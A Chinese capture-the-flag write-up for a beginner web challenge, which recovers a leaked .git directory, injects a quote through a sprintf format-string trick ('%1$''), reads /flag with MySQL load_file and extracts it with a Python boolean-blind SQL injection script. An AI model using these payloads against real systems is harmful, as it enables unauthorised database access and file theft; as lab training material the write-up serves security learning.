>
>
萌新赛-给她
yuchoxuuan
说实在的,这个题拿到之后一点思路都没有,过滤了'等东西,注入无望
准备放弃的。
后来,群主说,题目就是提示,
给她=git。。。
我心中有两个想法
1.我怎么总是忘了扫一下.git
2.群主的普通话是不是跟体育老师学的
于是gitHack一波,搞到了提示文件,文件显示用了
sprintf()
由于提示里面就两个sprintf ,而且这玩意太不常见了,于是觉得他很可以,于是去百度了一下,找到了大佬的这篇文章->
深入解析sprintf格式化字符串漏洞
在本题目的重点是 可以用%1$'构造 单引号
于是构造出pl:?name=admin&pass=1%1$' or 1=1-- -
于是。。。。就卧槽了
然后仔细一看,不对,这不是标准页面,右键源码发现
知道了flag路径的我,就没有跟其他大佬一样继续考虑别的事,直接尝试sql读物理文件了。。
select * from load_file(0x2f666c6167)
其中做0x2f... 就是 /flag 转十六进制,这样可以省去很多绕来绕去的麻烦。。发现可以读
def get(url=''): return requests.get(url).text
url="https://34663f4d-4af6-481c-8ac0-f97bd3442d95.chall.ctf.show/?user=a&pass=1%1$'or(FUCK)-- -" #布尔盲注,FUCK就是要填载荷的地方
def check(pl = ''):
return ( '<!--flag in /flag -->' in get(url.replace('FUCK',pl.replace("'", "%1$'"))))
len =7 # 先测一下/flag文件多长,感觉至少是7数,因为flag{}就6位了
while not check('length(load_file(0x2f666c6167))=%d'%len):
len+=1
flag ="" #下面开始盲注每一位的字符。
abl = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_~!@#$%^&*()+=-`{}[]|:;<>,.'
for i in range(1,len):
print("\n %50s|%2d|"%(flag,i),end="")
for c in abl:
print(c,end='')
pl = "SUBSTRING(load_file(0x2f666c6167),%d,1)='%s'"%(i,c)
if check(pl):
flag+=c
break
然后就是漫长的等待了,偷懒的代价。。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论